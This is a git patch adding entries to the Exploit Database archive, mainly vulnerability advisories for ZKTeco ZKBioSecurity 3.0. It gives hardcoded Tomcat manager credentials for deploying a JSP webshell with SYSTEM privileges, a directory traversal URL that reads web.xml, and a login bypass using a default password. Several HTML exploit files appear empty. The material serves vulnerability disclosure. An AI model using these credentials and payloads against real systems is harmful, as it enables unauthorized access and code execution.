From 3a2154afbd60a7867fd1b9e160c953a881e45c47 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 1 Sep 2016 05:08:40 +0000 Subject: [PATCH] DB: 2016-09-01 15 new exploits WordPress CYSTEME Finder Plugin 1.3 - Arbitrary File Dislcosure/Arbitrary File Upload PHP 5.0.0 - snmpwalkoid() Local Denial of Service PHP 5.0.0 - fbird_[p]connect() Local Denial of Service PHP 5.0.0 - snmpwalk() Local Denial of Service PHP 5.0.0 - snmprealwalk() Local Denial of Service PHP 5.0.0 - snmpset() Local Denial of Service PHP 7.0 - AppendIterator::append Local Denial of Service ZKTeco ZKTime.Net 3.0.1.6 - Insecure File Permissions Privilege Escalation ZKTeco ZKAccess Professional 3.5.3 - Insecure File Permissions Privilege Escalation ZKTeco ZKBioSecurity 3.0 - Hardcoded Credentials Remote SYSTEM Code Execution ZKTeco ZKBioSecurity 3.0 - (Add Superadmin) Cross-Site Request Forgery ZKTeco ZKBioSecurity 3.0 - Directory Traversal ZKTeco ZKBioSecurity 3.0 - (visLogin.jsp) Local Authorization Bypass ZKTeco ZKAccess Security System 5.3.1 - Persistent Cross-Site Scripting PHP 7.0 - JsonSerializable::jsonSerialize json_encode Local Denial of Service --- files.csv | 15 ++++ platforms/jsp/webapps/40324.txt | 98 ++++++++++++++++++++++++ platforms/jsp/webapps/40325.html | 72 ++++++++++++++++++ platforms/jsp/webapps/40326.txt | 53 +++++++++++++ platforms/jsp/webapps/40327.txt | 80 ++++++++++++++++++++ platforms/jsp/webapps/40328.html | 57 ++++++++++++++ platforms/php/dos/40316.php | 15 ++++ platforms/php/dos/40317.php | 16 ++++ platforms/php/dos/40318.php | 15 ++++ platforms/php/dos/40319.php | 15 ++++ platforms/php/dos/40320.php | 15 ++++ platforms/php/dos/40321.php | 12 +++ platforms/php/dos/40329.php | 17 +++++ platforms/php/webapps/2032.pl | 2 +- platforms/php/webapps/2035.php | 2 +- platforms/php/webapps/2050.php | 2 +- platforms/php/webapps/2068.php | 2 +- platforms/php/webapps/2088.php | 2 +- platforms/php/webapps/2095.txt | 2 +- platforms/php/webapps/2096.txt | 2 +- platforms/php/webapps/2098.txt | 2 +- platforms/php/webapps/2100.txt | 2 +- platforms/php/webapps/2102.txt | 2 +- platforms/php/webapps/2114.htm | 2 +- platforms/php/webapps/2116.txt | 2 +- platforms/php/webapps/2117.php | 2 +- platforms/php/webapps/2118.php | 2 +- platforms/php/webapps/2123.txt | 2 +- platforms/php/webapps/2128.txt | 2 +- platforms/php/webapps/37389.txt | 2 +- platforms/php/webapps/40295.txt | 119 ++++++++++++++++++++++++++++++ platforms/windows/dos/2039.pl | 2 +- platforms/windows/local/2094.c | 2 +- platforms/windows/local/40322.txt | 112 ++++++++++++++++++++++++++++ platforms/windows/local/40323.txt | 49 ++++++++++++ 35 files changed, 779 insertions(+), 19 deletions(-) create mode 100755 platforms/jsp/webapps/40324.txt create mode 100755 platforms/jsp/webapps/40325.html create mode 100755 platforms/jsp/webapps/40326.txt create mode 100755 platforms/jsp/webapps/40327.txt create mode 100755 platforms/jsp/webapps/40328.html create mode 100755 platforms/php/dos/40316.php create mode 100755 platforms/php/dos/40317.php create mode 100755 platforms/php/dos/40318.php create mode 100755 platforms/php/dos/40319.php create mode 100755 platforms/php/dos/40320.php create mode 100755 platforms/php/dos/40321.php create mode 100755 platforms/php/dos/40329.php create mode 100755 platforms/php/webapps/40295.txt create mode 100755 platforms/windows/local/40322.txt create mode 100755 platforms/windows/local/40323.txt diff --git a/files.csv b/files.csv index f55a35c8e..70a16ec1c 100755 --- a/files.csv +++ b/files.csv @@ -36439,8 +36439,23 @@ id,file,description,date,author,platform,type,port 40293,platforms/php/webapps/40293.txt,"chatNow - Multiple Vulnerabilities",2016-08-23,HaHwul,php,webapps,80 40294,platforms/php/remote/40294.rb,"Phoenix Exploit Kit - Remote Code Execution (Metasploit)",2016-08-23,Metasploit,php,remote,80 40309,platforms/multiple/dos/40309.txt,"Adobe Flash - Use-After-Free When Returning Rectangle",2016-08-29,"Google Security Research",multiple,dos,0 +40295,platforms/php/webapps/40295.txt,"WordPress CYSTEME Finder Plugin 1.3 - Arbitrary File Dislcosure/Arbitrary File Upload",2016-08-24,T0w3ntum,php,webapps,80 40311,platforms/multiple/dos/40311.txt,"Adobe Flash - MovieClip Transform Getter Use-After-Free",2016-08-29,"Google Security Research",multiple,dos,0 40312,platforms/php/webapps/40312.txt,"FreePBX 13.0.35 - SQL Injection",2016-08-29,i-Hmx,php,webapps,0 40313,platforms/php/dos/40313.php,"PHP 5.0.0 - imap_mail() Local Denial of Service",2016-08-30,"Yakir Wizman",php,dos,0 40314,platforms/php/dos/40314.php,"PHP 5.0.0 - hw_docbyanchor() Local Denial of Service",2016-08-30,"Yakir Wizman",php,dos,0 40315,platforms/php/dos/40315.php,"PHP 5.0.0 - html_doc_file() Local Denial of Service",2016-08-30,"Yakir Wizman",php,dos,0 +40316,platforms/php/dos/40316.php,"PHP 5.0.0 - snmpwalkoid() Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 +40317,platforms/php/dos/40317.php,"PHP 5.0.0 - fbird_[p]connect() Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 +40318,platforms/php/dos/40318.php,"PHP 5.0.0 - snmpwalk() Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 +40319,platforms/php/dos/40319.php,"PHP 5.0.0 - snmprealwalk() Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 +40320,platforms/php/dos/40320.php,"PHP 5.0.0 - snmpset() Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 +40321,platforms/php/dos/40321.php,"PHP 7.0 - AppendIterator::append Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 +40322,platforms/windows/local/40322.txt,"ZKTeco ZKTime.Net 3.0.1.6 - Insecure File Permissions Privilege Escalation",2016-08-31,LiquidWorm,windows,local,0 +40323,platforms/windows/local/40323.txt,"ZKTeco ZKAccess Professional 3.5.3 - Insecure File Permissions Privilege Escalation",2016-08-31,LiquidWorm,windows,local,0 +40324,platforms/jsp/webapps/40324.txt,"ZKTeco ZKBioSecurity 3.0 - Hardcoded Credentials Remote SYSTEM Code Execution",2016-08-31,LiquidWorm,jsp,webapps,8088 +40325,platforms/jsp/webapps/40325.html,"ZKTeco ZKBioSecurity 3.0 - (Add Superadmin) Cross-Site Request Forgery",2016-08-31,LiquidWorm,jsp,webapps,8088 +40326,platforms/jsp/webapps/40326.txt,"ZKTeco ZKBioSecurity 3.0 - Directory Traversal",2016-08-31,LiquidWorm,jsp,webapps,8088 +40327,platforms/jsp/webapps/40327.txt,"ZKTeco ZKBioSecurity 3.0 - (visLogin.jsp) Local Authorization Bypass",2016-08-31,LiquidWorm,jsp,webapps,0 +40328,platforms/jsp/webapps/40328.html,"ZKTeco ZKAccess Security System 5.3.1 - Persistent Cross-Site Scripting",2016-08-31,LiquidWorm,jsp,webapps,8088 +40329,platforms/php/dos/40329.php,"PHP 7.0 - JsonSerializable::jsonSerialize json_encode Local Denial of Service",2016-08-31,"Yakir Wizman",php,dos,0 diff --git a/platforms/jsp/webapps/40324.txt b/platforms/jsp/webapps/40324.txt new file mode 100755 index 000000000..dd8a71ec5 --- /dev/null +++ b/platforms/jsp/webapps/40324.txt @@ -0,0 +1,98 @@ +ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution + + +Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd +Product web page: http://www.zkteco.com +Affected version: 3.0.1.0_R_230 + Platform: 3.0.1.0_R_230 + Personnel: 1.0.1.0_R_1916 + Access: 6.0.1.0_R_1757 + Elevator: 2.0.1.0_R_777 + Visitor: 2.0.1.0_R_877 + Video:2.0.1.0_R_489 + Adms: 1.0.1.0_R_197 + +Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security +platform developed by ZKTeco. It contains four integrated modules: access +control, video linkage, elevator control and visitor management. With an +optimized system architecture designed for high level biometric identification +and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced +solution for a whole new user experience. + +Desc: The ZKBioSecurity solution suffers from a use of hard-coded credentials. +The application comes bundled with a pre-configured apache tomcat server and an +exposed 'manager' application that after authenticating with the credentials: +username: zkteco, password: zkt123, located in tomcat-users.xml file, it allows +malicious WAR archive containing a JSP application to be uploaded, thus giving +the attacker the ability to execute arbitrary code with SYSTEM privileges. + +Ref: https://www.exploit-db.com/exploits/31433/ + + +Tested on: Microsoft Windows 7 Ultimate SP1 (EN) + Microsoft Windows 7 Professional SP1 (EN) + Apache-Coyote/1.1 + Apache Tomcat/7.0.56 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2016-5362 +Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5362.php + + +18.07.2016 + +-- + + +Contents of tomcat-users.xml: +----------------------------- + +C:\Program Files (x86)\BioSecurity\MainResource\tomcat\conf\tomcat-users.xml: + + +... +... +... + + + + + + + +----------------------------- + + +Open Manager application and login: +----------------------------------- + +http://127.0.0.1:8088/manager (zkteco:zkt123) + + +Deploy JSP webshell, issue command: +----------------------------------- + +- Request: whoami +- Response: nt authority\system + + +call the findConnectors() method of the Service use: +---------------------------------------------------- + +http://127.0.0.1:8088/manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps= + +Response: + +OK - Operation findConnectors returned: + Connector[HTTP/1.1-8088] + Connector[AJP/1.3-8019] + + +List of all loaded servlets: +---------------------------- + +http://127.0.0.1:8088/manager/jmxproxy/?j2eeType=Servlet diff --git a/platforms/jsp/webapps/40325.html b/platforms/jsp/webapps/40325.html new file mode 100755 index 000000000..15e4e2291 --- /dev/null +++ b/platforms/jsp/webapps/40325.html @@ -0,0 +1,72 @@ + + + + + +
+ + + + + + + + + + + + + + + + + +
+ + diff --git a/platforms/jsp/webapps/40326.txt b/platforms/jsp/webapps/40326.txt new file mode 100755 index 000000000..b12dbe5a0 --- /dev/null +++ b/platforms/jsp/webapps/40326.txt @@ -0,0 +1,53 @@ + +ZKTeco ZKBioSecurity 3.0 File Path Manipulation Vulnerability + + +Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd +Product web page: http://www.zkteco.com +Affected version: 3.0.1.0_R_230 + Platform: 3.0.1.0_R_230 + Personnel: 1.0.1.0_R_1916 + Access: 6.0.1.0_R_1757 + Elevator: 2.0.1.0_R_777 + Visitor: 2.0.1.0_R_877 + Video:2.0.1.0_R_489 + Adms: 1.0.1.0_R_197 + +Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security +platform developed by ZKTeco. It contains four integrated modules: access +control, video linkage, elevator control and visitor management. With an +optimized system architecture designed for high level biometric identification +and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced +solution for a whole new user experience. + +Desc: File path manipulation vulnerabilities arise when user-controllable data +is placed into a file or URL path that is used on the server to access +local resources, which may be within or outside the web root. An attacker can +modify the file path to access different resources, which may contain sensitive +information. Even where an attack is constrained within the web root, it is often +possible to retrieve items that are normally protected from direct access, such +as application configuration files, the source code for server-executable scripts, +or files with extensions that the web server is not configured to serve directly. + + + +Tested on: Microsoft Windows 7 Ultimate SP1 (EN) + Microsoft Windows 7 Professional SP1 (EN) + Apache-Coyote/1.1 + Apache Tomcat/7.0.56 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2016-5365 +Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5365.php + + +18.07.2016 + +-- + + +http://127.0.0.1:8088/baseAction!getPageXML.action?xmlPath=/vid/../WEB-INF/web.xml diff --git a/platforms/jsp/webapps/40327.txt b/platforms/jsp/webapps/40327.txt new file mode 100755 index 000000000..2de2f91fa --- /dev/null +++ b/platforms/jsp/webapps/40327.txt @@ -0,0 +1,80 @@ +ZKTeco ZKBioSecurity 3.0 (visLogin.jsp) Local Authorization Bypass + + +Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd +Product web page: http://www.zkteco.com +Affected version: 3.0.1.0_R_230 + Platform: 3.0.1.0_R_230 + Personnel: 1.0.1.0_R_1916 + Access: 6.0.1.0_R_1757 + Elevator: 2.0.1.0_R_777 + Visitor: 2.0.1.0_R_877 + Video:2.0.1.0_R_489 + Adms: 1.0.1.0_R_197 + +Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security +platform developed by ZKTeco. It contains four integrated modules: access +control, video linkage, elevator control and visitor management. With an +optimized system architecture designed for high level biometric identification +and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced +solution for a whole new user experience. + +Desc: The issue exist due to the way visLogin.jsp script processes the login +request via the 'EnvironmentUtil.getClientIp(request)' method. It runs a check +whether the request is coming from the local machine and sets the ip variable +to '127.0.0.1' if equal to 0:0:0:0:0:0:0:1. The ip variable is then used as a +username value with the password '123456' to authenticate and disclose sensitive +information and/or do unauthorized actions. + +Tested on: Microsoft Windows 7 Ultimate SP1 (EN) + Microsoft Windows 7 Professional SP1 (EN) + Apache-Coyote/1.1 + Apache Tomcat/7.0.56 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2016-5367 +Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5367.php + + +18.07.2016 + +-- + + +C:\Program Files (x86)\BioSecurity\MainResource\tomcat\webapps\ROOT\visLogin.jsp: +--------------------------------------------------------------------------------- + +1: <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> +2: <%@page import="com.zk.common.util.EnvironmentUtil"%> +3: <% +4: String path = request.getContextPath(); +5: String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; +6: +7: String ip= EnvironmentUtil.getClientIp(request); +8: if("0:0:0:0:0:0:0:1".equals(ip)) +9: { +10: ip = "127.0.0.1"; +11: } +12: +13: %> +14: +15: +16: +17: + +--------------------------------------------------------------------------------- diff --git a/platforms/jsp/webapps/40328.html b/platforms/jsp/webapps/40328.html new file mode 100755 index 000000000..6eb428a6d --- /dev/null +++ b/platforms/jsp/webapps/40328.html @@ -0,0 +1,57 @@ + + + + + +
+ +